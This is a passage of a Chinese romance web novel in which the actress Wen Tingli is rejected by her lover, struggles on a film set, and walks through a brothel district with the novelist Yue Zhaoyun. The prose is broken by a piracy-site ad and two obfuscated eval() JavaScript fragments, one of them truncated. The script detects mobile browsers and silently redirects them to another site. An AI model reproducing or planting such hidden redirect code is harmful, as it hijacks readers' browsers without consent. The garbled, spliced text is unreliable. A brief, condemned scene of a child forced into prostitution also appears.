闻亭丽低声哭起来:“我不相信他会做得这样绝!难道他连一次解释的机会都不肯给我吗? 她轻易不愿将自己的痛苦和脆弱暴露在人前,但是这一次不一样。 昨晚之前,她跟陆世澄还是那样要好。 他是那样喜欢她,视她若珍宝,全心全意对待她。 他们两个在一起时,总是那样有默契、那样快乐, 她原以为,他们两个会一直这样要好下去。 谁知才一夜—— 从天堂到地狱,不过如此! 她不甘心,死也不甘心!为了不让邝志林瞧见她眼里的泪水,她倔强地转过头去,默然良久,哑声说:“我想给他写一封信,还请邝先生帮忙转交给陆先生…… 说更新,记住域名caixs.com?(请来才小 说 看最新章节 完整章节) “这个没问题,但是我得提醒闻小姐,澄少爷在处理问题上从不拖泥带水,这与—— 他顿了顿。 “澄少爷的成长环境有关,自小到大,算计提防他的人多,真心待他的人少,可只要他察觉对方是一腔真心,必然也以会一颗赤子之心来相待,所以,当澄少爷决定跟闻小姐在一起的那一日起,他就对闻小姐交付了自己的全部信任和爱护。这一点,闻小姐自己应该也很清楚。 闻亭丽的眼泪又开始在眼眶里打转。 “可一旦发现自己被玩弄或是被欺骗,澄少爷也是绝无可能回头的,若非性格如此果决,以他的生活环境早就被人害死了。你的信,我可以帮忙转交,但澄少爷究竟会不会看就说不准了,即使看了,他也未必会改变心意,这一点还请闻小姐做好心理准备。 闻亭丽不响。 邝志林起身送客:“闻小姐先请回吧,中午之前将信送到我的办公室楼下即可。 闻亭丽一进家门,周嫂满脸焦色迎上来:“怎么一整晚没回来?跟陆先生吵架了? 闻亭丽失魂落魄走进自己的房间,用脊背抵住房门,疲累地闭眼吁了口气,再睁开眼,不经意瞥见了桌面上的那 份合同一颗心顿时像针扎似的刺痛。 合同的扉页上浇了雨纸面变得有点皱巴巴的想是昨晚周嫂好奇之下到露台上察看 她不想再看见那东西赌气将其塞进抽屉。 坐下后她心烦意乱找出纸和笔给陆世澄写信无意间摸到口袋里陆世澄写给她的那封信。 展开信里那一行行赤忱的文字让她一看就眼睛发酸泪水大颗大颗滴落到纸上。 但她很快将眼泪擦干低下头无比认真地写下第一行字。 【我要告诉你一千遍一万遍我爱你我没有在你面前演戏……】 *** 上午十点钟闻亭丽带着那封信匆匆赶到力新银行的楼下。 料着邝志林提前跟印度门房打了招呼闻亭丽一来对方就客客气气接过了她的信。 闻亭丽目送对方进楼她知道接下来除了被动地等待消息她什么也做不了。 等到十一点多邝志林终于派人下楼回话了说刚才已帮她将信交给了陆世澄若是澄少爷看了信之后态度有松动势必会去找她的劝她莫在楼下苦等径直回家等消息。 闻亭丽连声说谢谢。 她回到家万分等待直至傍晚时分都没能等来陆世澄的电话。 那封信就像石沉大海没能激起半点回响。 她拿起皮包出了门邝志林说过陆世澄今晚会启程回南洋在此之前他想必一直在力新银行或是枫华大厦交代事情。 她径直赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603297|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往力新银行。 有了上午的经验力新银行负责看门的印度人对闻亭丽不再防备在闻亭丽给了他一笔小费之后主动透露了陆世澄的行踪:“陆公子下午三点钟就走了如果我没听错邝先生好像跟司机说他们要去振兴大厦开会。” 闻亭丽果断招了辆车去往振兴大厦。 可是这幢楼门口的西崽却因为不认识闻亭丽死活不肯透露陆世澄是否还在楼中。 闻亭丽不得已在街对面一家洋人开的咖啡馆找了个靠窗的位置坐下这样只要陆世澄一出来就能看见。 默默等了一阵闻亭丽心酸地从包里取出一个小小的单词本翻弄着她 和陆世澄第一次在一起吃饭时她和他就是用这个小单词本交流的。 这上面还留着他的笔迹。 【你菜点得太多了。】 【谢谢。】 【假如方才我没及时赶到闻小姐可还有别的求助对象?】 在读到这些字的时候就如同看到他那英俊沉静的脸一样。 越是往下翻看心中就越是酸楚。 字字句句都是回忆。 她在咖啡馆里闷坐着外头的天色渐渐黑了再过一晌路边便亮起了橙黄色的路灯这让她想起那段日子陆世澄去摄影棚门口接她的情形当时他正是站在这样暖黄的路灯下等她每次出来看到他颀秀的身影她的心头就会生出一种温暖亲切的感觉。 才多久这幅景象就要变成回忆了。 她鼻根直发酸。不管是手里的单词本还是窗外的路灯凡是与他相关的回忆都让人发自心底地眷恋这让她如何轻易舍得放手。 突然看到一群穿西装的人从对面洋行出来闻亭丽登时睁大了双眼。 陆世澄出来了许多人围着他说着什么这让他看上去愈发遥远她一时无法看清他的表情只知道他马上要离开了。 闻亭丽赶忙出了咖啡馆但她没有在众目睽睽之下朝他跑去而是选择静静地站在街道的这一边一言不发地望着他。 果不其然很快有人发现了她并在陆世澄耳边说了句什么。 陆世澄顿了顿回眸朝街对面看来。她抓着装满两个人回忆的单词本楚楚可怜地望着他。 她深信 不出所料陆世澄并没有挪开视线而是长久地看着她。闻亭丽认为时机已经成熟穿过马路朝他走去。 她要主动一点。这一次再不主动她可能再也见不到他了。 不等陆世澄吩咐那帮人就非常识相地散开了一行人中只留下了邝志林。 闻亭丽走到陆世澄面前泪光盈盈地看着他。一夜不见他憔悴得像生了一场大病眼圈有点发红。 再看她愕住了不对他在发烧。 原来昨晚不只她一个人在煎熬中度过。 “你生病了?” 陆世澄一声不 响望着她, “你看我给你写的信了吗? 陆世澄依旧无动于衷。闻亭丽擦了把眼泪,将手里的单词本递给他。 “是不是有话要对我说?那你写在这上面好了。 陆世澄喉结滚动,闻亭丽知道他是想起了从前他们相处的情形,从第一次起他们就是这样交流的,连她的这句话都跟一开头一模一样。 来之前她特地做了很多准备,她在小单词本的封面上写了无数个“我爱你“对不起,他只需一低头就能看到。 只要……只要他肯从她手里接过去。 然而,陆世澄只是深而冷地看她一眼,便回身拉开车门上了车。 邝志林走过来压低嗓门说道:“闻小姐,请走吧。 闻亭丽牢牢盯着车内的陆世澄。陆世澄始终不肯转过头来再看她。 她终于有点绝望了。 诚如邝志林所言,陆世澄在荆棘丛中长大,父母双亡,日日活在豺狼虎豹身边,这样的成长经历让他很难原谅谎言和欺骗,经此一事,他绝无可能再信她了。 她的眼泪,她的可怜,她的痛苦,如今在他眼里都不过是一种逼真的表演罢了。 邝志林仍在旁边温声说:“澄少爷已经同路易斯大夫打过招呼了,闻小姐平时觉得哪里不舒服,今后可以给路易斯打电话,至于陆公馆和力新银行这边,就请还闻小姐不要再来电了。一则,澄少爷短期内不会回上海,二则,澄少爷不希望你再打搅他的生活。 全程,陆世澄都不曾往车窗外看一眼,他的身周像是竖起了一道看不见的墙,拒人于千里之外。 闻亭丽仰头把眼泪倒回眼眶里,果断朝反方向走去。 过了一会,陆世澄的车毫无预兆就启动了。 闻亭丽没再停下脚步,更不曾回头,走得异常决然。汽车轰鸣声消失在街角的一刹那,她感觉自己体内的某一部分死了。 *** 当夜闻亭丽发起了烧。 路易斯连夜带着梅丽莎护士上门来看她了。 “邝先生说闻小姐刚出院没多久,昨夜又淋了雨,怕她生病,走之前特地拜托我多关照关照闻小姐。 闻亭丽把头埋在被子里听路易斯跟周嫂说话。 陆世澄待她始终是大方周到的,即便现在两个人分手了,她也不能在这上面挑出他一点点的不好。 但是她心里很清楚,从今往后,他不再属于她。 他的温柔、忠诚、体贴,他的喜怒哀乐,从此都与她没有半分关系了。 她硬起心肠将他的一切从脑海里全部剔除翻了个身,兀自沉沉睡去。 作者有话要说 第 61 章 【第二更】蝶变。 第61章【第二更】蝶变。 吃完路易斯带来的药,闻亭丽当晚就退了烧,第二天也没再发热,只是身上还有些乏力,换作平时,她是绝不肯乖乖躺在床上养病的,这一天她却哪儿也不想去,只在床上昏昏沉沉睡着。 这一整天,周嫂和小桃子说话轻声细语的,唯恐吵了闻亭丽养病。 晚间乔宝心突然打电话过来,说佟兆晖回来了,但他受了很重的伤,一开始他想等伤养好了再联系宝心,又怕宝心为自己牵肠挂肚,所以还是没忍住联系了她,宝心悄悄将佟律师安置在乔家一所空关的房子里,同时联系了私人医生为他治伤。 乔宝心还说,等到佟兆晖痊愈,她就和他动身去北平。 这通电话把闻亭丽拉回了现实。她给厉成英打去电话,得知厉成英营救佟兆辉时并未受伤,这才放了心。 一放下电话,闻亭丽就对周嫂说自己饿了。周嫂兴冲冲去厨房盛了一碗牛肉粥出来。 第三天早上醒来时,闻亭丽身上爽利了许多,只是下床照镜子时被自己的模样吓了一跳,脸色很憔悴,眼窝也有点凹陷,一副悒悒不乐的样子。 前几日在惠群医院养伤时可全不是这样。 看看时间已是六点了,她只得收起那些低沉的情绪去洗漱。 今天是《南国佳人》正式开机的日子,她得早些到公司去。 周嫂像一只焦忧的老母鸡围着闻亭丽打转:“衣服多备几件,这包荷叶饭你带到剧组里去吃,水壶里头灌的是温水,这两天不要乱喝凉东西,药片我给你放在这里,走的时候记得拿。” 闻亭丽往嘴上涂着红枫色的口红,这能让她的气色看上去跟平日没有两样,听见周嫂这一连串的嘱咐,无奈笑道:“我是去拍戏,又不是学童第一天去上学……好了好了,我会按时吃药的。对了,今天我会回得比较晚,你们别等我吃饭。这钱你拿着,上午您带着小桃子坐车到街上买几双鞋,给自己也裁几件新衣裳,不许不舍得买,回来看不到您和小桃子的新衣新鞋,我可是会生气的。” 为了让周嫂觉得自己全好了,她刻意如常交代了许多话,最后像往常一样进房间亲了一口酣睡中的妹妹,这才若无其事出了门。 可是一出 门,闻亭丽的肩膀就重重垮下来。 家门口仍是那副熟悉的景象,梧桐树下却没有那辆熟悉的汽车和那道熟悉的人影了。 那种刺心的感觉无法言喻,她支撑不住跌坐在楼前的台阶上。 病是好了,心上却留下了一道新鲜的伤痕。现在的她正如一只受了伤小兽,急需找一个没人看见的角落舔舐伤口。 在这偏僻的巷堂,五六点钟的辰光,一切都是那样岑寂,对门的柳氏夫妇没有起床,家门口只有她一个。 这样正好,她可以清清静静一个人想事情。可惜越是回忆前事,心中的失落感就强烈,她和陆世澄交往的日子并不多,可是他留给她的几乎全是美好的记忆,一如此时的晨光,温柔,安静,静谧,充满暖意。 她低下头用胳膊环抱住自己,这一关,再难也得扛过去,一个人的力量有限,唯有时间,唯有时间才能冲淡一切。可惜她没有太多时间沉湎往事,她得面对生活。 默坐一阵,她抹了把自己的眼角,起身快步向巷子外走去。 到公司时,闻亭丽已经调整好了自己的状态,逢人就笑着打招呼,一举一动充满朝气,就连最熟悉她的黄远山,也没瞧出她刚病了一场。 为了庆祝《南国佳人》开机,黄金影业举办了一场盛大的开机仪式。一大早门前就围满了各家报社的记者,上海文艺界人士也纷纷来捧场,就连甚少在此等场合露面的月照云女士也应邀出席。 上午十一点,棚内第一场戏正式开拍。为了表示对此片的重视,公司元老、三位制片人、月照云均随车赶往影棚观看。 面对这异常隆重的开场,闻亭丽表现得胸有成竹,这两个月她没干别的,光琢磨“南淇这个角色了,功夫下得足够深,她早早就将南淇在心里养活了,只要进入表演状态,她的一言一行活脱脱都是“南淇。 那头黄远山大喊一声“action,闻亭丽便自信满满的按照剧本对饰演男主角的巫笙说:“如果你认为这是堕落,那便是吧,这是我自己选择的路,用不着向任何人解释。 却听黄远山道:“停停停! 她皱眉朝闻亭丽招手:“你过来一下。 闻亭丽忙过去。 “你怎么回事,你跟刘宝生是自小一起长大的 青梅竹马,乍然重逢的这一刻,你的情绪怎能如此平静,那种物是人非的感觉呢?那种有苦难言的痛楚呢?你一向很善于表现这种情感的,怎么刚才活像在念剧本似的。 闻亭丽自己也有些慌乱,摸摸脸颊说:“可能是第一天太紧张了,黄姐,您让我再酝酿酝酿情绪。 然而,接下来连拍三条都不满意,黄远山拍戏时历来严苛,越是重头戏越是讲究,每隔十几分钟就能听到黄远山喊“停“,而闻亭丽每挨骂一次,周围就会发出一阵小声的议论。 闻亭丽顶着四面八方投来的异样目光,硬着头皮一次次重新开始,直拍到第四条才勉强通过。 下午的两场戏也是状况百出。 “闻亭丽,动作不要那么僵硬,这是你自己的家,不是在外面,从那边走进来,对,很轻松地坐到沙发上,身体再放松些,停停停!又错了! “不对,全不对!眼泪含在眼圈里,不是叫你一上来就眼泪汪汪的。 由于闻亭丽频频失误,两场戏一直拍到七点多才拍完。 这边一收工,黄远山便黑着脸让闻亭丽在化妆间等她,可她自己旋即就被制片人叫走了。 闻亭丽在化妆间等了半天不见人,只好去茶水室接水喝,忽听里面有人说:“老听黄姐说闻小姐有灵气,今天看着也不过如此嘛。 “我都怀疑是不是换人了,上回那场试镜比赛,可是连周曼如小姐都输得心服口服的,今天闻小姐在片场——啧啧,这种水平我们公司岂不是一抓一大把,凭什么非得是她呢?她闻亭丽可是一部戏都没有上过的新人。 “现在压力最大的是黄姐吧,前头路过休息室,听见刘老板正对黄姐大发脾气呢,刘老板还说,假如闻小姐明天还是今天这个状态,他们会考虑马上换人,倘若黄姐执意留下闻亭丽,他们就连她这个导演也撤下去。 闻亭丽白着脸杵在门口,一回头,不期然看见月照云站在自己的身后。 不必说,刚才那番对话,月照云也听见了。 闻亭丽难掩尴尬:“月女士。 茶水间里的对话戛然而止。月照云没朝里头看,只温声对闻亭丽说:“闻小姐晚上有空吗?我想约你到外头走一走。 闻亭丽满脸惊喜:“当然有空。您 等我一会,我去化妆间拿了东西就出来。 黄远山听见月照云要找闻亭丽,也有些意外,她本来准备了一大堆话同闻亭丽谈,见此情形,只跟月照云对了个眼色,什么也没说就放闻亭丽走了。 两人出来走到街边,月照云让闻亭丽在原地等她,自己朝街角走去,不一会就潇洒地开着一辆汽车过来了。她为了出行方便,一到上海就跟朋友借了一辆车,自己开。 “上车。 闻亭丽愣了一下便高高兴兴上了车,迄今为止她只跟月照云打过几次照面,但月照云身上有一种幽默可亲的气度,让人很愿意与她亲近。 “月女士,我们去哪儿? “去大马路附近走一走? 闻亭丽欣然说好。 汽车开动后,她试着同月照云找话题,但一个人的心境不是能靠假装就能掩饰的。尽管她已经足够努力了,却远不如平常那样健谈,车内几度陷入沉默。 “闻小姐生病了?月照云忽问。 “前两天有点伤风,不过已经完全好了,我脸色很差是不是? 月照云微微点点头。 闻亭丽心里五味杂陈,她今天的状态相当不好。在戏里,该开怀大笑的时候她笑得很僵,该哭的时候她又完全收不住。 这种失控的状态连她自己都感到胆战心惊。 她拿不准自己这种低靡的状态还会持续多久,但她隐约觉得,这仿佛是不可控制的,像是从小就跟随她的某种天赋,陡然被老天爷收走了似的。 她为此体会到了一种强烈的不安,情绪更是一度低落到了极点。 还好月照云没有多问。闻亭丽并不想在这种时刻被人垂询和关怀,哪怕是月照云也不例外。 汽车不疾不徐地向前开着,慢慢开到了某个街口附近。 闻亭丽胳膊肘支在车窗上出神,不经意一抬头,就看见了远处一块硕大的霓虹灯招牌。 前方不远处就是大世界游乐场。 夜里的大世界比白天还要热闹,紫色的霓虹灯一闪一闪映照着幽蓝天际,远看就像个变幻莫测的幻梦。 是梦没有错,她恻然地想,她的包里还收着陆世澄帮她弄的“大世界长券,这梦就醒了。 她不记得那一天自 己和陆世澄笑了多少次,只觉得小桃子的笑声犹在耳边。当时有多甜,现在就有多失落,她下意识将视线从那梦幻的霓虹灯上移开,以免双眼刺痛。 却听月照云的声音在耳边响起。 “我们下车走一走吧。” 闻亭丽点点头,为了振作精神,她一下车就说。 “前面中央戏院旁边有一家店擂沙圆做得不错,我带您尝一尝?” 两人找到一家不起眼的小店,闻亭丽帮月照云叫了一份本店招牌甜品,又另外叫了两份冰豆花。 坐下之后,月照云的一双眼睛就没闲下来过,不是隔窗观察街上的行人,就是打量店里的老板,再不就是研究路口的招牌。 她俨然对周围的事物充满了兴趣。最后她看了闻亭丽一眼,伸手一指前方的大世界霓虹灯招牌。 “还记得吗?我们在大世界见过一面。” 闻亭丽点点头,怕月照云看出什么,忙笑着补充:“那天您一个人在游乐场玩碰碰车,还老是盯着我打量,我当时就纳闷,我也不认识这位女士呀,她老瞧我做什么,后来才知道您是鼎鼎大名的小说家月照云。” 说着,她放下汤匙直笑。“我猜,那时候您已经从黄姐口里知道我了。” 月照云不但没有否认,反而从包里取出一张小照递给闻亭丽。“你看。” “上个月黄远山就把你的照片寄给我了,她说她终于找到了一个非常适合演南淇的小姑娘,让我看看怎么样。我就想,一张照片能看出什么,我非要亲眼见见这个小姑娘才行,于是我就买票到上海来了,第一次在陆公馆看到你还没瞧出什么,直到在大世界的那一次,我才觉得你能演好南淇。” 闻亭丽的好奇心被这话彻底勾了起来:“您觉得我哪一点像南淇?” 月照云歪头眯眼打量闻亭丽。 “也许只是出于一种直觉。我看到你牵着你妹妹的手从梧桐树下说说笑笑走过,我就想这女孩笑得多么好呀,从里到外都笑透了,当时游乐场那么多游客,就你一眼就能让人瞧见。后来你发现我观察你,马上用一双清凌凌的眼睛叼住我,你的眼睛里完全看不到一点胆怯和自卑……还有那位年轻的陆公子,我看到你和他相处的样子,看到你跟他说话的神态,我就想,这小姑娘简直就是为 南淇这个角色而生的。” 闻亭丽笑容微滞。 月照云并没有就此打住话头,用汤勺缓缓搅了下豆花,继续道:“所以那天试镜比赛还没正式开始时,我内心的天平已经倾向你了,看完你的三幕戏之后,我当即决定把票投给你。诚然,周曼如、乐知文、小蝶君她们都很优秀,但她们统统都不是南淇。今天在片场,我对你是充满信心的,可是——” 月照云骤然调转了话锋:“我不相信一个人的灵气会在这样短的时间内消失,闻小姐能不能告诉我,你究竟遇到什么烦心事了?” 闻亭丽鼻根隐隐发酸,她并不觉得月照云唐突。 月照云声音中的关心与焦虑都是真的,丝毫不让人反感。 她没有忘记,试镜比赛那最关键的一票正是月照云投给她的。可以说,没有月照云和黄远山的鼎力支持,她绝不可能争取到南淇这个角色。 可今天她的表现,显然让她们失望了。 她咬唇低头,哑声说:“对不起,您放心,我会尽快调整好状态的,明天绝不会再像今天这样了。” 月照云不响,不知是看出了闻亭丽的状态极差,还是听说制片方不会给闻亭丽太多时间来调整状态,对于闻亭丽的这番保证,她俨然并不乐观。 但她只是安抚性地拍了拍闻亭丽地肩膀,随即转移话题道:“出去转转?” “好。” 两人沿着街道向前走,走过东方饭店时,月照云突然转身向身后某个方向远远一指:“我在那边住过的。喏,就新桥街挨着的一条小衖堂里,叫兴昌里,我在那里头赁过一个亭子间,前后住了有两年多的时间。” 闻亭丽讶然:“原来您在上海待过这么久。” 月照云所指的那一块因为紧挨着洋泾浜和郑家桥,历来是三教九流盘踞之地,街巷里经常堆积着马桶等物,隔老远就能闻到臭味。 “没办法,此地租金比别处便宜。”月照云仿佛猜到闻亭丽心里在想什么,笑了笑,回身向前走,“那时候我刚从家里出来,到上海时身上已经不剩多少盘缠了,能找到一处栖身之所已是不易,哪敢再奢求其他。” “您为甚么不在北平找事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两人同时沉默着,街上明明那样吵闹,月照云身周的空气却像是结了霜似的,静静散发着一股寒意。 过了不知多久,月照云怃然道:“那一年,我十九岁,就跟闻小姐现在一样大。 闻亭丽莫名被这话深深触动:“后来您靠什么维持生计呢?您是从那时候开始写小说的? “读中学的时候就发过一些文章,来沪后也试着投过几次稿,偶尔能中一篇,也只能维持一两天的吃用,我心焦不已,每日天不亮就出门找事做,那时候上海滩有人写长篇传奇挣了大笔稿费,我就从邻居那边借来一本读了读, 后来自己试着写了一篇,居然很通,我带着稿子去投稿,报社见我是个小姑娘,看都不看就把我的稿子退回来了,我没办法,只好改用一个男人的笔名投稿,这回居然被录用了。” 她嗤笑道:“我由此知道,我们女人不只婚姻不自由,连职业也是不自由的。” 说话间走到一盏路灯下方,月照云把自己右手的五根手指在灯下揸开让闻亭丽看,她的食指和中指之间有着厚厚的茧子,一看便知是长年累月磨出来的。 “我日也写、夜也写,年纪轻轻就写出了一身骨头病,但功夫不负有心人,一年后,我在文艺界积攒了一点名气,在报社向我约我第十篇稿子时,我终于有机会跟他们讨价还价,进而改用‘月照云’这个笔名,我用这个笔名发表了第一部长篇小说《春申旧事》,从此在文坛站稳了脚跟,可直到我发表第四部小说,读者才知道我是个女作家。” 闻亭丽悲哀地想,怪不得月照云早年的笔名是男人名字“李先生”,而她的成名作,又是以上海滩为背景的《春申旧事》。 “我写啊写啊,写到我那老爹断了气,我这才意气风发搬回了北平,把我家那所老宅子买下来,把我爹的牌位扔到马桶里,将我和我娘当年住的小厢房重新修葺一番,我在中堂供奉着我娘的灵位,日日祭拜,可这又如何呢,我娘她——” 月照云哑然失声。 闻亭丽只觉得嗓间有些发苦,她不敢开腔,对于此时的月照云而言,任何安慰性的话语都是苍白无力的。 好在,月照云很快便从那种消沉的情绪中走了出来,她像要摆脱什么似的用力甩了甩头,迈开大步向前走。 “月姐。”闻亭丽急忙追上去,这番谈话拉近了两人之间的距离,她不知不觉自己对月照云改了称呼。 月照云也并不反感闻亭丽这样叫自己,只是回头冲她招招手。 “来。” 闻亭丽心潮澎拜跟上月照云的步伐。 两人并肩走了一段,街旁的氛围有些变了。整条里弄挂着五光十色的灯笼,栋栋房子门前站着浓妆艳抹的女人。 再往前走就是四马路的会乐里了,那可是上海最出名的风月场所,闻亭丽迟疑发问:“月姐,我们还要往里走吗?” 月照云一脚踏了进去。 夜风送来一阵阵扰人的头油香味伴随着柔媚如丝的胡琴声。 那香气似桂如兰浓得能把人的意志力黏成一团。 闻亭丽被熏得头昏脑胀她不敢回视那些倚门招客的女人们这地方让她想起了早年在南京做过舞女的母亲她觉得自己但凡多看这些人一眼都是对母亲的亵渎。 突然有个小小的身影从一扇门洞里冲出来撞在月照云的身上。 “救救我。”这人死死抓住月照云的手。 月照云忙弯腰将对方紧紧护在怀中。 那是一个十二三岁的小女孩身上衣衫不整脸上满是泪痕。 “救救我太太!我不想接客!” 里面随即追出来两个壮汉将女孩如同捉小鸡一般抓了起来。 “你们——”闻亭丽冲上去想要把小女孩抢回来。 月照云面色惨然将闻亭丽拦住。 “你们是哪个堂会的?”一个男人在门口气势汹汹撸袖子。 月照云捂住闻亭丽的嘴将她迅速带离原地。 闻亭丽跌跌撞撞被拖着走了一段好不容易挣脱了月照云的手急声说:“您刚才没看见吗那还是个孩子。” 月照云一声不吭将自己左侧的衣袖撂上去让闻亭丽看上头的一处伤口。 “曾经我跟你做了一样的事可我非但没能救下对方还被那帮人打了一鞭事后我想找上海的律师朋友帮忙救人他们却劝我不要自讨没趣。这地方是人间炼狱就同‘烟土’一样长期被租界的地头蛇垄断和控制外人是插不了手的除非——我们自己不要命了。” 闻亭丽听得满头大汗与此同时胃里泛起了浓浓的恶心。环顾四周弄堂里的女人全用一种奇怪的目光看着她们。 对于她们刚才那番试图救人的举动 这其中有两个小姑娘明明只有十三四岁却已经被训练出一种老练的媚态。 闻亭丽忍不住扶墙干呕起来。 月照云半拖半扶将闻亭丽拉出了会乐里。 跑出来后两人倚靠着栏杆望着江水喘气月照云递给闻亭丽一方帕子。 “擦擦汗。” 第 62 章 【第一更】大忙人... 第62章【第一更】大忙人 四个月后。 天色还未大亮,闻家小客厅的电话就响个不停。 第一通电话是高筱文打来的。 “听说你那部戏要杀青了?” 闻亭丽一脸见鬼的表情:“你今天怎么起得这么早? 高筱文打着哈欠:“还不是因为再晚就找不到你了。喂,关于你们那部戏,最近我可是听到了不少风声,业内人士说你每一场戏都表现得尽善尽美,笃定这部片子上映后会大受欢迎,昨天“小天喜”公司是不是提前找过你了?闻亭丽,我警告你,当初你可是答应免费为我的傲霜粉膏打广告的。” 闻亭丽哭笑不得:“这家找我拍的是香粉广告,与你的傲霜粉膏不搭嘎的,你放心,片中起码有两场戏我对着镜头用过你的傲霜粉膏,等到片子杀了青,我再免费帮你拍一条正式的广告如何?” “这还差不多,对了,下礼拜沁芳姐过生日,到时候她们欣欣百货肯定会举办晚宴的,你记得提前安排好时间来参加生日宴,沁芳姐那帮朋友早就想认识你了。” 闻亭丽一口答应,她跟董沁芳向来交情不错,父亲去世那一阵,董沁芳前前后后帮过她不少忙,这份恩情她也一直记在心里。 刚放下电话,黄远山的小助手——兼剧组副导演谭贵望又打来了。 “小闻,黄姐让我告诉你,棚里的布景出了点问题,现在正忙着找师傅抢修,你的戏大概十一点才能开拍,不用像平日来得那样早。” “知道了。” 接完这两通电话,闻亭丽对着冻僵的手哈了口热气,起都起来了,回床睡觉有点太可惜了,索性拿起书包出了门。 马上要期末考试了,她决定利用这几个钟头图去学校温书,比起家里,学校图书室要清净许多。 一出门,迎面吹来一股寒飕飕的北风,转眼已是十二月份,天气越来越冷了,马路上梧桐树的枝头上挂满了冰条。 站在台阶上,她照例有些失神,那种怅惘的感觉一直存在她的心底,只是不再强烈,刚窜上来几秒,便自行消失了,她在原地深吸一口气,裹紧衣裳下台阶。 九月下旬,沪江大学正式开学,作为新一届的学生,闻亭丽的人生 正式掀开了新的篇章,当时《南国佳人》仅开拍二十多天,距离拍完还遥遥无期,考虑学校方面的看法,她报道第一天就主动向教务处汇报了此事。 最开始教务处是不同意的,哪怕闻亭丽再三强调黄金影业公司是一家正规公司,校方也经过调查知道了闻亭丽是孤儿,家中负担重,拍戏不过是为了筹集学费。 可毕竟拍戏耗时长,耽误功课是一方面,作为校方他们也不得不考虑一些社会影响。 听闻此事,黄远山拉着上海电影协会的翁主席去学校做说客,起先遇到了不少阻力,后头还是找到了分管纪律的副校长头上才有所转机,这位副校长与翁主席是多年同学,平时也非常喜欢看电影,对于本埠的电影事业,一直有心支持,在确认闻亭丽拍摄的是富有社会意义的文艺片之后,终于有些松动了。 经过几番努力,校方最终批准了闻亭丽拍戏的请求,但前提是闻亭丽期末不能挂科。 为了做到这一点,闻亭丽每日里见缝插针学习,而为了照顾她的功课,黄远山也顶着压力给了她诸多方便,凡是闻亭丽的大戏,都尽量安排在她没课的那一天开拍,平时的戏则能统一安排在她放学后再开拍,从五点钟一直拍到夜里十一二点收工。 好在第一学期功课不多,这样大的工作强度闻亭丽硬是抗了下来, 可即便如此,也有差一点就应付不来的时候。 譬如上周,闻亭丽就因为随剧组去无锡拍外景忘记交数学作业,还有一回,一向不点名的哲学课老师突然心血来潮在课堂上点名,当日她因在剧组补拍一场戏,不巧没能赶过来,先生当场放话,累计缺课两次就算不及格,吓得闻亭丽从此缺谁的课也不敢再缺席哲学课。 除此之外,她每月还得想方设法抽出时间去找厉成英练习枪法和搏击术。 这样三头应付着,原定三个月就杀青的戏硬是拖了四个月还没有拍完。 幸而再漫长的路也有终点,再来两场戏,这场片子就要杀青了。一想到这个,她就说不出的振奋。 十点半,闻亭丽坐公司的车赶到片场,一进门就见剧组的同事们热热闹闹议论着什么。 “闻小姐,你来得正好,大伙正商量杀青宴定在哪家餐馆。” 看得出大家都很高兴,闻亭丽 凑热闹说:“要不去长兴馆吃高桥本帮菜吧那家的红烧鮰鱼老有名气了!” 马上有人表示赞同:“闻小姐跟我想到一块去了这家我也吃过好得不得了!” 说笑几句闻亭丽独自去后头放包。 刚来公司时她得跟别人共用一个大化妆间样样不方便而现在她有了自己的独立化妆间 “温姐你试试这个粉膏嘛我朋友高小姐的公司做的粉质比胭脂林卖的还要细腻。” “你又来了好了好了听你的我们马上试试。”温冠华带着无奈的微笑把粉膏交给自己化妆师。 这时有几位年轻演员进来见状好奇问道:“闻亭丽你在发什么好东西?” 比起刚进组那段时日大伙对闻亭丽的态度热忱了不少。 一方面是因为闻亭丽这几月表现出一种异乎寻常的努力凡有她的戏必定准时到场而且往往都是一条过鲜少有说错台词或是情绪不到位的时候。 这世上没人会不欣赏既聪明又勤奋的人。 另一方面即便是再没有眼力见的人如今也能看出闻亭丽将成为一颗冉冉上升的新星随着《南国佳人》拍摄进度的推进公司上层对闻亭丽越来越欣赏越来越重视。 从一开始对她片场外的生活不闻不问到后头主动为她派了专车和司机。 那之后尽管闻亭丽仍每天在沪江大学和剧组之间来回奔波但至少不像从前那样辛苦了因为她的司机基本随叫随到。 这一切变化大伙都看在眼里。在对待闻亭丽的态度上于真心之外还多了一些人情世故方面的考量一些原本从不考虑新人的私人聚会也会叫上闻亭丽一同去了平日在剧组里几位前辈也对闻亭丽颇为关照。 闻亭丽大大方方把自己的脸蛋凑到几人面前:“是粉膏我朋友公司做的今天我脸上抹的就是这个你们看是不是又薄又透?每位前辈都有。” 大伙叽叽喳喳围上来端详她脸上的妆容。 闻亭丽说说笑笑发完粉膏仍回自己的化妆间去这会儿剧组的人不是在化妆就是在前头商量聚餐的事沿路走回去 连一个同事都未碰见。 刚拐弯,就看到一个人从走廊尽头慌慌张张跑过来,抬头见到闻亭丽,表情活像见了鬼一样。 “罗小姐?!”闻亭丽睨着她, 是罗殊红。 当初邓天星找人暗算她,正是为了帮罗殊红争取“南淇”这个角色,可到头来邓天星不但没能讨得罗殊红的欢心,还被整个电影行业封杀了。 那之后邓天星便长期处于无事可做的状态,头几月有人见过邓天星在181号总会里赌钱(注),再之后就没人见过他了。 罗殊红倒是还在公司拍戏,只是每次见到闻亭丽面上都有些不自在,闻亭丽也懒得理会她。 罗殊红在经历了短暂的慌乱之后,很快就站定了脚。 她没有解释自己为什么会出现在此地,而是很自然地发问。 “大家商量好去何处吃饭了吗?” 闻亭丽淡着脸擦过她的身畔:“听说是去长兴馆吃。” 罗殊红一走,闻亭丽便沉着脸检查自己的化妆间,抽屉依旧是锁着的,包里头所有东西都在,包括她那把手枪,一切都在,就连她的衣服也没有被人翻动过的痕迹。 